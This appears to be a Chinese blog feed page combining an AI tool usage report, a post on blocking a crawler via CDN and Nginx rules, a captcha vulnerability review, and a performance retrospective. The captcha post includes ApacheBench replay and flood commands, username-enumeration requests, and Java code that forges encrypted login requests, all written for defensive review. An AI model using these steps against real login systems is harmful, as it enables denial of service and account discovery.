最常用的 slash 命令 Top 10

#	命令	次数	含义
1	`/exit`	60	工作流控制
2	`/ide`	36	工作流控制
3	`/mcp`	16	工作流控制
4	`/init`	10	工作流控制
5	`/plugin`	9	工作流控制
6	`/model`	6	工作流控制
7	`/skills`	6	工作流控制
8	`/terminal-setup`	3	工作流控制
9	`/permissions`	3	工作流控制
10	`/context`	3	工作流控制

Session 架构

0.0% 的命令型 session 以 /plan 开头，说明复杂任务里有明显的先规划倾向。
0.0% 的命令型 session 使用过 /compact 或 /clear，会主动管理上下文窗口。
/resume 恢复率约 0.0%；平均会话深度 39.8 条消息 / session。
最长 session: 17.9 小时 / 307 条消息。

📂 项目与领域分布

跨 77 个项目活跃，按领域分布：

领域	项目数
ML / RL / 论文	77

Top 项目（脱敏）

项目	Claude	Codex	Git commits	编排模式	领域
项目 A	474	0	0	Claude 主导	ML / RL / 论文
项目 B	0	121	999	Codex 主导	ML / RL / 论文
项目 C	16	5	139	Claude 主导	ML / RL / 论文
项目 D	0	15	139	Codex 主导	ML / RL / 论文
项目 E	0	11	120	Codex 主导	ML / RL / 论文
项目 F	0	11	81	Codex 主导	ML / RL / 论文
项目 G	0	8	82	Codex 主导	ML / RL / 论文
项目 H	0	2	100	Codex 主导	ML / RL / 论文
项目 I	16	5	0	Claude 主导	ML / RL / 论文
项目 J	9	7	0	双引擎	ML / RL / 论文
项目 K	0	1	64	Codex 主导	ML / RL / 论文
项目 L	4	1	38	Claude 主导	ML / RL / 论文

编排模式统计：双引擎 1 个 · Claude 主导 4 个 · Codex 主导 7 个

🧬 Evolution 曲线 — AI 用法在进化

2026-01  Claude Code 进入日常使用，开始积累 sessions 与 prompt-caching
2025-10  Codex CLI 开始记录本地 threads，双工具协作成型
2026-05  Skills / hooks / rules 进入基础设施层，沉淀可复用能力

月度活跃趋势：

月份	Claude sessions	Codex threads	里程碑
2025-10	0	2	Codex 活跃
2025-11	0	18	Codex 活跃
2025-12	0	83	Codex 活跃
2026-01	26	114	Claude 活跃 / Codex 活跃
2026-02	3	22	Claude 活跃 / Codex 活跃
2026-03	0	10	Codex 活跃
2026-04	409	22	Claude 活跃 / Codex 活跃
2026-05	43	25	Claude 活跃 / Codex 活跃

💡 兴趣主题 & 关键词

dong4j·669　java·470　com·403　users·395　developer·380　生成·368　md·353　ai·343　教材·298　tool·262　使用·244　hexo·243　stack·236　chunk·234　intellij·223　site·220　zeka·212　id·209　问题·206　idea·202　info·198　文件·195　html·190　https·188　dev·182

⏱️ 工作节奏

24 小时活跃热力图

00 ██████████████ 188
01 ███████████████ 194
02 ████ 56
03 ██ 26
04 ███ 41
05 █ 10
06  0
07 █ 2
08 █ 9
09 ████████ 111
10 ████████ 105
11 ████████████ 159
12 ███████ 86
13 ███████ 88
14 ██████████ 134
15 ██████████ 129
16 ██████████████ 179
17 ███████████ 150
18 ██████ 78
19 ███████ 90
20 ████████████ 153
21 ██████████████ 180
22 ████████████████ 209
23 ██████████████████ 238

峰值时段：23, 22, 01

时间跨度

首次 / 最近活跃: 2025-10-25 / 2026-05-08
活跃天数 / 最长连续 / Claude 单日峰值: 95 / 29 / 2026-04-24（6839 messages）

💎 Token 经济学

1.49B 新付费 token 撬动 215.98M 缓存复用，Claude cache 杠杆比 1 : 7.93；总通过我手里约 1.70B token。

每模型 token 明细（按 spent 排序）

模型	spent	cache-read	leverage	占总 spent
glm-4.7	11.48M	68.84M	6.00x	0.8%
glm-5.1	6.64M	76.39M	11.51x	0.4%
mimo-v2.5-pro	3.94M	6.74M	1.71x	0.3%
MiniMax-M2.1	2.13M	14.88M	6.99x	0.1%
deepseek-v4-pro	98.8万	20.34M	20.58x	0.1%
claude-sonnet-4-6	77.6万	13.53M	17.44x	0.1%
claude-opus-4-7	57.5万	3.22M	5.59x	0.0%
deepseek-v4-flash	40.6万	8.02M	19.77x	0.0%
claude-haiku-4-5-20251001	27.0万	3.92M	14.50x	0.0%
claude-sonnet-4-5-20250929	3.8万	9.4万	2.48x	0.0%
gpt-5.2-codex (Codex)	755.53M	—	—	50.8%
gpt-5.5 (Codex)	322.93M	—	—	21.7%
gpt-5.3-codex (Codex)	152.56M	—	—	10.3%
gpt-5.1-codex-max (Codex)	93.77M	—	—	6.3%
gpt-5.2 (Codex)	58.71M	—	—	3.9%

月度 token 趋势

月份	Claude spent	Codex tokens	主力模型	注解
2025-10	0	0	—	Codex 为主
2025-11	0	0	—	Codex 为主
2025-12	0	217.23M	gpt-5.1-codex-max	Codex 为主
2026-01	39.5万	669.14M	gpt-5.2-codex	双工具并行
2026-02	0	98.39M	gpt-5.3-codex	Codex 为主
2026-03	0	29.69M	gpt-5.4	Codex 为主
2026-04	19.58M	342.47M	gpt-5.5	双工具并行
2026-05	4.20M	102.78M	gpt-5.5	双工具并行

单位投入产出（仅参考，勿当 KPI）

每 commit ≈ 1.4万 Claude spent tokens
每行代码变动 ≈ 3.54 Claude spent tokens

提醒：AI 产出还包含大量不直接转化为 commit 的高价值劳动，例如架构 review、数据清洗、plan 推演和 skill 重构。

💰 产出 & 投入

GitHub 同期产出

365 天总贡献: 2,682 · 拥有仓库: 276
commits / PRs / issues / reviews: 2,155 / 1 / 30 / 0
restricted contributions: 449
最高产单日: 2026-01-03(57) · 2026-01-07(51) · 2026-01-05(48) · 2026-01-08(47) · 2025-06-26(44)

Top 仓库

仓库	language	commits	stars
zeka-stack/zeka-idea-plugin	Java	999	6
dong4j/self-star-list	Shell	366	0
dong4j/markdown-image-kit	Java	118	69
dong4j/spring-ai-cookbook	Java	97	3
zeka-stack/cubo-starter	Java	94	0
zeka-stack/blen-kernel	Java	67	0
zeka-stack/arco-maven-plugin	Java	57	0
zeka-stack/cubo-starter-examples	Java	55	0
zeka-stack/arco-builder	—	40	1
dong4j/dev-site	Astro	37	0

本地 Git 产出

候选仓库内过去一年当前用户 commits: 1,966 · 代码变动: +5.24M / -2.46M

主要语言 / 文件类型

GitHub 仓库语言：HTML 404.33M · Java 5.54M · TypeScript 4.72M · CSS 1.60M · JavaScript 1.48M · Python 60.6万 · Stylus 33.8万 · MDX 30.2万 · Shell 26.7万 · Pug 18.2万 · Astro 17.0万 · XSLT 8.0万 · Go 5.9万 · Kotlin 5.2万 · Makefile 1.7万

本地文件类型：json” 3.98M · md 1.13M · md” 78.5万 · java 62.4万 · html 27.9万 · json 14.3万 · tsx 10.2万 · js 8.4万 · html” 5.9万 · ts 5.9万 · svg 4.6万 · sql 4.4万 · yaml 4.4万 · csv” 3.1万 · less 2.4万 · sh 2.4万 · xml 2.0万 · yml” 2.0万 · doc” 2.0万 · properties 1.9万

📊 数据来源 & 隐私承诺

数据 100% 本地：~/.claude/* + ~/.codex/* + 本地 git log + GitHub via gh
对话正文仅用于关键词与协作风格分析，原文不会出现在报告中
项目名已匿名，API key / token / 邮箱已正则清洗
报告由 Readme.skill 规则生成，可重复运行
生成时间: 2026-05-08T15:18:22+08:00

屏蔽 YisouSpider 爬虫：避免 CDN 流量被异常消耗

Thu, 07 May 2026 00:00:00 GMT

背景

最近我在看博客 CDN 访问日志时，发现静态资源的访问量异常增多。

一开始只是觉得有点不对劲：博客本身访问量没有明显上涨，但 CDN 流量消耗却比平时快了不少。继续往日志里翻，发现大量请求都来自一个叫 YisouSpider 的爬虫，而且请求的还不是文章页面，而是博客里那些 JS、CSS 静态资源。

这篇文章记录一下完整的排查过程、问题原因，以及最后为什么我把拦截规则放到了 CDN 层，而不是只在源站 Nginx 里处理。

问题现象

在 Nginx / CDN 访问日志里，可以看到大量类似下面的请求：

20260507164510 124.239.12.111 cdn.dong4j.site /source/static/index-imgloaded.css 1379 1069 2 200 https://blog.dong4j.site/ 215 "YisouSpider" "(null)" GET HTTPS miss 58335
20260507164510 116.132.218.241 cdn.dong4j.site /source/static/card-widget-welcome.js 10141 1069 26 200 https://blog.dong4j.site/ 286 "YisouSpider" "(null)" GET HTTPS miss 35027
20260507164510 116.132.136.184 cdn.dong4j.site /source/static/echarts.min.js 786157 1069 26 200 https://blog.dong4j.site/ 404 "YisouSpider" "(null)" GET HTTPS miss 59105

里面几个字段很关键：

User-Agent: YisouSpider
Host: cdn.dong4j.site
Path: /source/static/*.js、/source/static/*.css
Status: 200
Cache: miss

也就是说，这个爬虫正在频繁请求博客 CDN 上的静态资源，而且部分请求还是 miss，会同时消耗 CDN 边缘流量和回源流量。

如果只是偶尔抓取页面，我一般不会太在意。但这次的问题是：它在持续请求静态资源，CDN 流量被异常消耗，这就不能只当成普通爬虫访问来看了。

CDN 的付费流量已经被耗尽, COS 也已经收到流量耗尽短信, 所以现在不得不处理这个问题.

为什么不能只在 Nginx 层拦截

一开始我的直觉很简单：直接在源站 Nginx 里按 User-Agent 拦截就行。

if ($http_user_agent ~* "YisouSpider") {
    return 403;
}

这个配置本身没有问题，但它只能解决一个问题：源站被访问。

如果请求已经命中了 CDN 边缘节点，或者 CDN 在边缘节点就直接返回了缓存资源，那么请求根本不会到源站 Nginx。源站 Nginx 写得再严，也拦不到这部分边缘流量。

所以只在源站 Nginx 里屏蔽，会得到一个不完整的结果：

可以减少回源压力；
不能有效减少 CDN 边缘流量消耗。

而我这次真正要解决的是：CDN 流量快被爬虫消耗完了。

所以正确的拦截位置应该前移到 CDN：

爬虫请求 -> CDN 边缘节点 -> UA 黑名单拦截 -> 直接 403

而不是等它穿过 CDN 之后，再让源站 Nginx 做最后一道判断。

第一层：源站 Nginx 兜底拦截

虽然核心拦截应该放在 CDN 层，但源站 Nginx 我仍然建议加一层兜底。

原因很简单：如果爬虫绕过 CDN，直接访问源站 IP，Nginx 这层还能挡一下。

在对应的 server 配置里增加：

if ($http_user_agent ~* "YisouSpider") {
    return 403;
}

完整示例：

server {
    listen 80;
    listen 443 ssl http2;
    server_name cdn.dong4j.site;

    if ($http_user_agent ~* "YisouSpider") {
        return 403;
    }

    location / {
        proxy_pass http://127.0.0.1:8080;
    }
}

修改后测试配置并重载：

nginx -t && systemctl reload nginx

这一步的定位很明确：它是兜底，不是主战场。

第二层：robots.txt 声明禁止抓取

博客根目录也可以增加 robots.txt 声明：

User-agent: YisouSpider
Disallow: /

但这里要注意，robots.txt 只是一个约定。

它是在告诉爬虫“请不要抓取”，不是在技术上强制拦截。对于遵守规则的搜索引擎爬虫可能有效，但对于已经大量消耗流量的场景，不能只依赖它。

所以我的理解是：

robots.txt 适合表达站点抓取策略；
Nginx 适合做源站兜底；
真正节省 CDN 流量，还是要靠 CDN 边缘层拦截。

第三层：CDN 层屏蔽 User-Agent

真正能节省 CDN 流量的配置，是在 CDN 层拦截。

这次我用的是 CDN 控制台里的 UA 黑白名单 / User-Agent 黑名单功能。配置思路很简单：

匹配 User-Agent 中包含 YisouSpider 的请求，直接拒绝访问。

推荐配置如下：

配置项	推荐值
名单类型	黑名单
匹配字段	User-Agent
匹配内容	`YisouSpider`
动作	拒绝 / 403
生效范围	全部文件

这里最容易踩坑的是“匹配内容”。

我一开始写的是：

(?i).*YisouSpider.*

然后用 curl 测试：

curl -I -A "YisouSpider" https://cdn.dong4j.site/source/static/echarts.min.js

结果返回依旧是：

HTTP/2 200

也就是说，规则没生效。

后来排查才发现，CDN 的 UA 黑名单规则不一定支持正则表达式。有些 CDN 控制台这里使用的是简单通配符匹配，而不是完整正则。

所以应该写成：

*YisouSpider*

而不是：

(?i).*YisouSpider.*

为什么正则写法没有生效

(?i).*YisouSpider.* 是正则表达式写法：

(?i) 表示忽略大小写；
.* 表示匹配任意字符；
YisouSpider 是目标 User-Agent 关键字。

如果规则引擎支持正则，这个写法当然可以匹配 YisouSpider。

但问题在于，很多 CDN 的 User-Agent 黑名单配置并不支持完整正则，而是使用简单通配符规则，例如：

*YisouSpider*

这种情况下，(?i).*YisouSpider.* 可能会被当成普通字符串处理。

也就是说，CDN 实际在匹配的是：

User-Agent 是否包含字面量字符串 (?i).*YisouSpider.*

而真实请求头只有：

YisouSpider

自然就匹配不到。

所以配置 CDN 黑名单时，一定要先确认规则类型：

写法	类型	是否推荐
`YisouSpider`	完全匹配	一般可用
`YisouSpider`	通配符包含匹配	推荐
`(?i).YisouSpider.`	正则表达式	不一定支持

最终我这里选择的是：

*YisouSpider*

配置后的测试方式

配置完成后，可以用 curl 模拟爬虫 User-Agent 测试。

测试 YisouSpider：

curl -I -A "YisouSpider" "https://cdn.dong4j.site/source/static/echarts.min.js?t=$(date +%s)"

预期结果应该是：

HTTP/2 403

或者返回 CDN 平台自己的拦截状态码。

这里加上：

?t=$(date +%s)

是为了避免测试时受到旧缓存影响。

然后再测试正常浏览器 UA：

curl -I -A "Mozilla/5.0" "https://cdn.dong4j.site/source/static/echarts.min.js?t=$(date +%s)"

正常情况下应该仍然返回：

HTTP/2 200

这一步很重要。拦截爬虫不是目的，准确拦截才是目的。正常浏览器 UA 仍然能访问，才能说明规则没有误伤普通访问。

通过响应头判断请求链路

测试过程中，还可以通过响应头判断请求实际走到了哪里。

例如：

curl -I -A "YisouSpider" https://cdn.dong4j.site/source/static/echarts.min.js

如果返回里还能看到这些信息：

server: tencent-cos
x-cache-lookup: Cache Miss
x-nws-log-uuid: ...

基本可以判断，请求实际还在 CDN / COS 链路里走，没有被 UA 黑名单提前拦住。

如果规则生效，通常应该直接返回：

HTTP/2 403

或者返回 CDN 平台自己的拦截页面、拦截响应头。

这个判断方式比只看“页面能不能打开”更可靠，因为它能帮我确认请求到底是被 CDN 边缘层拦了，还是继续穿透到了后面的资源链路。

最终推荐配置组合

最后采用的是三层处理：

CDN 层：UA 黑名单拦截 YisouSpider；
源站 Nginx 层：按 User-Agent 返回 403，防止绕过 CDN；
robots.txt：声明禁止 YisouSpider 抓取。

其中最关键的是第一层。

只有 CDN 层拦截，才能真正减少 CDN 流量消耗。

Nginx 配置只是源站兜底，robots.txt 只是补充声明。三者不是互相替代关系，而是各自解决不同层面的事情。

后续可以扩展屏蔽的爬虫

如果后续发现还有其他爬虫持续消耗流量，也可以一起加入 CDN UA 黑名单，比如：

*YisouSpider*|*Bytespider*|*PetalBot*|*AhrefsBot*|*SemrushBot*

不过这里要看 CDN 平台是否支持 | 分隔多个规则。

如果不支持，就分别添加多条规则。不要想当然把正则语法、通配符语法和控制台规则语法混在一起，否则很容易出现“看起来写对了，实际完全没生效”的情况。

验证码安全漏洞——代码审查不会告诉你的那些事

Wed, 06 May 2026 00:00:00 GMT

验证码是用来干什么的

验证码的核心作用就一个：提高自动化滥用的成本。 让机器不能以极低成本去暴力枚举。说白了就是让非法的请求尽早被拦截，不要让它打到数据库。

这个定义反过来也成立：如果一个验证码实现，不能在前置阶段拦截非法请求，而是让请求先查一次数据库再校验验证码，那它就没起到验证码的作用。

不幸的是，我们的验证码实现就是这样。

先查数据库，再校验验证码

验证码校验逻辑在网关的一个 Filter 中实现。简化的流程是这样的：

收到登录请求 → 判断用户名是不是手机号 → 
  是：跳过用户查询，直接用手机号校验验证码
  否：先通过用户名查询用户信息（DB 查询！） → 再校验验证码

关键代码（脱敏后）：

if (!Validator.isMobile(username)) {
    // 通过帐号查询手机号（登陆名不一定是手机号）
    CompletableFuture<Response<LoginUser<?>>> completableFuture = 
        CompletableFuture.supplyAsync(() -> userApiService.info(username));
    Response<LoginUser<?>> loginUserResponse = completableFuture.get();
    if (!loginUserResponse.isSuccess()) {
        throw new ValidateCodeException(loginUserResponse.getMeta().getMessage());
    }
    LoginUser<?> loginUser = loginUserResponse.getData();
    // 集成类帐号不用校验验证码
    if (loginUser.getUserType().equals(UserType.INTEGRATION_USER.getCode())) {
        log.info("集成帐号:{}登陆操作", username);
        return;
    }
    mobile = loginUser.getTelephone();
}
// ... 验证码校验（在数据库查询之后）

发现了吗？当用户不是手机号登录时，系统先做了一次数据库查询去查用户信息，拿到手机号，然后才去校验验证码。如果用户不存在，抛出的异常还是”用户名或密码错误”——也就是说这个异常是在数据库查询阶段抛出的，验证码还没被校验。

这意味着攻击者可以在不知道验证码的情况下，把一个请求打到数据库查询层。

三个攻击场景

基于这个逻辑缺陷，三个攻击场景可以轻松构造。

重放攻击

假设你截获了一个合法登录请求。这个请求里的加密数据（queryChain）和请求头签名（Message-Sign）都是有效的。你把请求原封不动地重放：

ab -n 10000 -c 100 \
  -T application/x-www-form-urlencoded \
  -H "Authorization: Bearer c2N0ZWxjcDE6..." \
  -H "Message-sign: 049513a2c604f98fb87b..." \
  -p post_data.txt \
  http://127.0.0.1:5173/api/user/auth/oauth2/token

100 个并发，10000 个请求，全部打到了数据库。后端日志显示：

c.s.u.api.dao.UserDao.getLoginUserInfo   : ==>  Preparing: select a.*, b.tenant_id, b.org_name from p_user a left join p_org b on a.org_code = b.org_code where user_name = ?
c.s.u.api.dao.UserDao.getLoginUserInfo   : ==> Parameters: dongshijie(String)

每一次请求都执行了数据库查询。验证码完全没有起到拦截作用——因为验证码的校验检查在数据库查询之后。

DoS 攻击

即使攻击者不知道合法用户名，也可以发起 DoS 攻击。

只需要调大请求量和并发数：

ab -n 100000 -c 1000 \
  -T application/x-www-form-urlencoded \
  -H "Authorization: Bearer c2N0ZWxjcDE6..." \
  -H "Message-sign: 049513a2c604f98fb87b..." \
  -p post_data.txt \
  http://127.0.0.1:5173/api/user/auth/oauth2/token

每个请求都会触发一次数据库查询。不需要暴力破解成功，单纯的请求量就能把数据库连接池打满。验证码功能在这种场景下不仅没有提供保护，反而增加了一次 CPU 开销（验证码缓存查询 + 校验逻辑）。

用户名枚举

这是最严重的一个。因为系统对”用户存在”和”用户不存在”返回了不同的业务错误信息：

用户名不存在 → 返回”用户名或密码错误”
用户名存在但验证码错误 → 返回”验证码错误”

攻击者可以构造两组请求：

# 第一组
username=aaaaaa&password=111&code=111111&grant_type=password&...

# 第二组
username=bbbbbb&password=111&code=111111&grant_type=password&...

如果第一组返回”验证码错误”，第二组返回”用户名或密码错误”，攻击者就知道 aaaaaa 是一个真实用户。这就是典型的用户名枚举漏洞（Username Enumeration），OWASP Top 10 里有这条。

正确的做法是：不管用户名存不存在，都返回同样的错误信息。甚至在用户名不存在时也执行一次假的 bcrypt 比对，让响应时间也一致——防止基于时间的推断攻击。

为什么请求可以随意构造

有人可能会问：请求不是加密的吗？攻击者怎么构造参数？

答案是：加密机制的设计有缺陷。

前端加密的逻辑是这样的：

随机生成一个对称密钥（SM4 key），16 字节
用后端公钥（SM2）加密这个对称密钥，拼接成 04 + 密文，得到 Message-Sign
用对称密钥（SM4）加密请求参数，得到 queryChain

三个步骤看下来，问题在哪？对称密钥是前端生成的，后端直接信任并使用这个密钥解密数据。 这意味着攻击者可以自己生成对称密钥、自己决定要发送什么参数。

更糟糕的是，公钥在前端代码中是硬编码的，前端源码里可以直接找到。虽然公钥本身不是秘密——它本来就是公开的——但问题在于，攻击者不仅知道公钥，还知道完整的加密逻辑。前端编译后的 JS 代码可读性虽然差，但加密的核心流程是清晰的：

// 前端加密逻辑（从编译后代码还原）
const pk = randomSM4Key();          // 随机对称密钥
const encryptedKey = sm2Encrypt(pk, PUBLIC_KEY);  // 公钥加密对称密钥
headers["Message-Sign"] = "04" + encryptedKey;
params = {
    queryChain: sm4Encrypt(formData, pk)   // 对称密钥加密参数
};

用 Java 还原同样的逻辑：

// 1. 生成随机对称密钥（和前端一样）
String sm4Key = generateRandomHexKey(16);

// 2. 用公钥 SM2 加密对称密钥
String messageSign = "04" + sm2Encrypt(sm4Key, PUBLIC_KEY);

// 3. 构造请求参数并用 SM4 加密
Map<String, Object> params = Map.of(
    "username", "testuser",
    "password", null,
    "code", "123456",
    "grant_type", "password",
    "randomStr", "23242323234",
    "scope", "server",
    "verifyCodeType", "L"
);
String formData = params.entrySet().stream()
    .map(e -> e.getKey() + "=" + encode(e.getValue()))
    .collect(Collectors.joining("&"));
String queryChain = sm4Encrypt(formData, sm4Key);

然后用这些参数构造 HTTP 请求，服务端完全无法区分这是真前端还是假攻击脚本。

核心问题：前端生成的对称密钥应该是临时的、不可预测的、每次请求不同的——这没错。但后端不应该无条件信任前端加密的数据。 如果不考虑加签（签名）验证的话，可以加入防重放机制——比如要求每个请求携带一个随机 nonce 和时间戳，服务端校验 nonce 的唯一性和时效性。或者在验证码层面做更严格的限流——同一个 session 连续 N 次验证码错误就直接拒绝。

但现在这些都没有。

一个隐蔽的 bug：token 获取错误导致缓存完全失效

除了安全漏洞，还有一个隐蔽的功能 bug：

验证码 Filter 在处理加密请求时，会先从请求头中提取 token，然后用这个 token 去查缓存——如果同一个 token 之前已经解密过，直接用缓存的对称密钥，避免重复执行 SM2 解密。

代码是这样写的（脱敏）：

// 从请求头获取 token
String token = BearerTokenExtractor.resolveFromAuthorizationHeader(request);
// 用 token 查缓存
String requestSecretKey = loadUserCacheSecretKey(token, secretHeader);
if (StringUtils.hasText(requestSecretKey)) {
    log.debug("使用缓存的对称密钥");
    return requestSecretKey;
}

// 缓存没命中，执行 SM2 解密
try {
    String secretKey = getSecret(secretHeader);  // SM2 解密，有性能开销
    // 存入缓存
    CacheUtil.setObject(REDIS_KEY_HEADER + token, secretHeader, 60 * 60 * 1000);
    CacheUtil.setObject(REDIS_KEY + token, secretKey, 60 * 60 * 1000);
    return secretKey;
} catch (Exception e) {
    log.error("解密(SM2)失败:", e);
    return null;
}

逻辑看起来没问题。但 resolveFromAuthorizationHeader 是从 Authorization: Bearer xxx 中提取 token 的——而前端传的是 Authorization: Basic xxx。

Bearer 和 Basic，一个单词的差别。因为这个差别，token 始终为 null。

于是缓存永远不会命中。每次请求都走 SM2 解密（非对称加密的性能开销本来就大），然后再写缓存——用 null 作为 key。第二个请求来了，token 还是 null，缓存 key 匹配不上，又不命中，再解密一次。如此循环。

还有一个时间单位的 bug：注释写的是”缓存过期时间 1 小时”，代码传的是 60 * 60 * 1000，看起来是 1 小时（3600 秒 × 1000 毫秒）。但这个方法的签名是：

void setObject(String key, T value, long expiredTime)
// expiredTime 单位：秒

所以实际缓存时间是 60 * 60 * 1000 秒，大约 1000 小时，而不是 1 小时。不过因为每次请求都重新写入，这个过长的过期时间在实际运行中反而不明显。

这两个 bug 合在一起的效果是：每个加密请求都执行了完整的 SM2 解密 + 两次 Redis 写入，缓存完全没起作用。 在正常流量下这不会出错，但在高并发场景下，SM2 解密的 CPU 开销会成为瓶颈——而这恰好是验证码本应该保护系统不遭受的”高并发攻击流量”场景。讽刺吧？用来防御攻击的机制，本身在攻击场景下先撑不住了。

密钥共享：一个全局的系统性风险

除了代码层面的问题，还有一个配置层面的安全风险——多个项目使用了相同的 SM2 密钥对。

验证方式很简单：用我们已经知道的框架默认密钥去尝试解密不同项目的加密流量。结果是，多个已上线的项目都没有修改默认密钥。只要攻击者手里有一个项目的加密数据，他就能解密所有使用同一密钥的项目的加密数据。

这是一个典型的”默认值风险”。框架为了降低接入门槛，提供了一套默认的 SM2 密钥对。这个出发点是好的——业务方接入的时候可以先用默认密钥跑通流程，等上线前再替换成自己的密钥。但现实是，跑通流程之后，没人记得去换密钥。或者更常见的情况是，换密钥这件事没有被列入上线 check list，上线检查也没人审这个。

所以在第十一篇文章里我提到，我们在 share-config.yaml 中把所有安全敏感配置的默认值改成了留空：

secret:
  sm2:
    privateKey:    # 留空，强制业务方自己生成
    publicKey:     # 留空

这还不够。还需要：

在文档的显眼位置列出上线前必须替换的配置清单
在 CI 中加一个检查——如果检测到使用了默认密钥，编译阶段直接拦截
新人培训时强调这件事的严重性

漏洞不是代码审查发现的

这些漏洞没有一个是通过代码审查发现的。Checkstyle 检查了缩进，PMD 检查了 == 比较字符串，SonarQube 检查了重复率和复杂度——但没人检查”验证码校验和数据库查询的顺序对不对”。安全漏洞不会违反任何编码规范，代码逻辑完全正确，单元测试全部通过。

这是我在本系列中反复提到的”可观测性缺失”在安全层面的映射。代码质量工具能防止你写出不好的代码，但不能防止你写出有逻辑缺陷的代码。后者的发现需要真实的安全测试——手动构造边界条件下的请求、模拟攻击场景、分析日志链路。

一次大型业务系统性能优化复盘

Wed, 06 May 2026 00:00:00 GMT

背景

随着业务不断扩展，系统服务数量和访问压力持续增长，当前整体架构已逐步暴露出性能瓶颈与资源竞争等问题，影响了核心业务的稳定性和扩展性。系统采用微服务架构，目前共计 17 个微服务，分布在多个业务域中，运行一段时间后主要暴露出以下典型问题：

部分核心服务资源占用高，影响其他服务的稳定运行；
统计类服务存在大量复杂查询，导致数据库压力集中，查询响应缓慢；
存在分布式事务、大事务与表锁并发问题，在高峰期容易造成请求阻塞或死锁；
缺乏读写分离、异步化、缓存等优化手段，导致部分非关键路径也占用大量系统资源；
系统在监控、限流、容灾等方面存在不足，缺乏针对高并发场景的应对策略。

为全面提升系统性能与稳定性，我们计划从架构优化、数据库治理、慢 SQL 缓解、中间件调优、Spring Boot 优化、连接池/线程池、异步请求等多个方面，逐步推进整改工作，以提高系统稳定性与高并发要求。

项目基础情况

技术架构: Spring Cloud Alibaba 微服务架构 基础框架: RuoYi 微服务框架 核心业务: 用工需求发布、派工管理、支付结算、数据统计

技术架构

技术栈

后端: Spring Boot 2.7.13 + Spring Cloud 2021.0.8 + Spring Cloud Alibaba 2021.0.5.0
前端: Vue.js + Element UI
数据库: MySQL + MyBatis Plus + Druid 连接池
开发语言: Java 1.8/17

核心中间件

Nacos: 服务注册发现 + 配置中心
Sentinel: 限流熔断
Seata: 分布式事务
RocketMQ: 消息队列
Redis: 分布式缓存
MySQL: 数据存储

系统架构图

现状分析

调用链路

当前系统采用微服务架构，包含 17 个微服务:

微服务间同步调用过多，链路过长，单点慢服务拖慢整体响应。
建议：梳理调用链，必要时用异步、消息队列解耦。

常见问题:

同步执行大量耗时操作, 比如同步批量发送短信

SQL 没有走索引, 比如高频接口:communityProcess/freeEmployee/query

服务延迟

服务延迟情况:

第三方服务延迟最高, 因为部分三方服务存在限流;
核心的 public 服务延迟较高, 负载最高;

数据库

慢 SQL

存在大量慢 SQL, 大部分来自统计服务;

资源占用情况

MySQL 的 CPU 占用率 791.4% (某个时刻, 不是常态)
- 在 16 核服务器上，单进程 CPU 占用率上限为 1600%（16 核 * 100%）
- 791.4% ≈ 占用近 8 个物理核（占总量 50%），说明：
  - 存在大量高负载 SQL（如未优化的全表扫描）
  - 频繁的锁竞争（如行锁升级为表锁）
  - 连接池过载或缓存失效
7GB 物理内存已用于 MySQL，17 个服务使用的话, InnoDB buffer pool 设置的较低;

数据量

employee: 214.17 W+
user: 55.19 W+
sys_job: 35.81 W+

oper_log 的数据停止在 2025-06-11.

数据库状态

存在明显的死锁: employee 表大批量 UPDATE + JOIN，锁范围大、事务重
LOCK WAIT 318 lock struct(s), heap size 57464, 10565 row lock(s): 一次性锁了大量记录

压测结果

压测口径说明

为避免“优化前后数据不可比”，建议统一压测口径：

压测前预热 5~10 分钟，避免 JVM 冷启动影响；
混合场景按读写 7:3 配置，并单独保留核心交易场景；
每轮压测不少于 30 分钟，记录稳态区间数据；
第三方依赖分别测“真实调用”与“Mock 调用”两组结果；
固定数据量级（如百万级主表）后再对比优化收益。

并发100混合场景

数据库查询优化不足
- 工单类接口（雇主/专合社工单列表）95%响应时间 >2s，存在：
  - 缺失关键索引（尤其关联查询字段）
  - 未做分页处理（LIMIT缺失导致全量加载）
  - 复杂统计未预计算
事务设计缺陷
- 工单审核 接口最大延迟7.2s，中位数(1,561ms) vs 95%(6,153ms)差异巨大 高并发下出现事务锁竞争（检查 SELECT FOR UPDATE 使用）
资源消耗失衡
- 高频接口 待审核工单列表查询 吞吐量17.6/sec（占总量10.6%）
- 但其最大响应时间 2.2s → 可能成为 大流量崩溃点
数据传输冗余
- 雇主工单列表 单请求 550KB 数据传输 → 带宽浪费+反序列化压力

200并发混合场景

整体健康度差

异常率：14.63%（超出可接受范围，通常要求<1%）
吞吐量：242.2次/秒（200并发下效率偏低）
中位数响应时间：214ms（尚可），但平均响应时间达514ms（表明存在严重长尾延迟）

核心问题

微服务调用链路长;
所有微服务共用同一个数据库;
统计服务存在大量慢查询;
第三方服务限流;
Seata 性能瓶颈;
部分接口返回大量数据;
没有充分利用缓存;
没有充分利用连接池, 线程池;
没有充分利用异步化;

架构优化

存储层优化

数据库资源高度集中，服务间相互影响严重

所有服务连接同一数据库实例，查询与写入操作混杂，资源争抢严重，单个服务的性能问题（如频繁查询、慢 SQL）会波及整体系统，影响主业务稳定性。
统计服务存在大量复杂查询，导致慢 SQL 问题突出

统计类服务需处理大量历史数据、聚合查询，SQL 复杂、执行时间长，对数据库 I/O 与 CPU 资源消耗大，已成为性能瓶颈的重要来源。
使用了分布式事务中间件 Seata，引入额外性能风险

为保持分布式事务一致性，引入 Seata 作为全局事务协调器。Seata 使用全局锁机制，若业务中存在大事务或表锁冲突，可能导致数据库长时间等待或锁竞争，进一步加剧系统负载。
数据库无法快速扩展，资源瓶颈明显

受限于当前服务器资源，数据库尚未进行物理拆分或集群化，难以通过横向扩展快速缓解性能问题。

数据库的集中式架构与高耦合连接方式已经难以支撑现有业务的发展需求，亟需分阶段进行系统性优化，逐步实现资源隔离、读写分离与高可用能力的提升。

核心问题归类

问题	描述	危害
单库连接压力大	多服务共享一个 DB，连接数占满	拒绝连接 / 请求阻塞
慢 SQL	统计服务等复杂查询影响 InnoDB 行锁	阻塞主业务 SQL 执行
表锁 + 大事务	Seata 全局事务未拆分，表锁时间长	连锁阻塞，吞吐下降
无读写隔离	所有 SQL 都走主库，主库压力爆炸	写入延迟，CPU 飙升
扩展能力弱	单点 MySQL 架构无法扩容	发展受限

第一阶段：数据库逻辑拆分

目标：服务数据库逻辑隔离，避免单服务拖垮全局。

方案：

将原有「单库」按服务维度拆分为多个逻辑数据库（schema）；
所有数据库仍部署在同一个 MySQL 实例；
每个服务仅访问自己的数据库；
Seata 用于解决跨库事务问题（推荐优先消除分布式事务）；
结合连接池（如 Hikari）优化连接数上限分配。

收益：服务间隔离，控制粒度更细，降低全局风险。

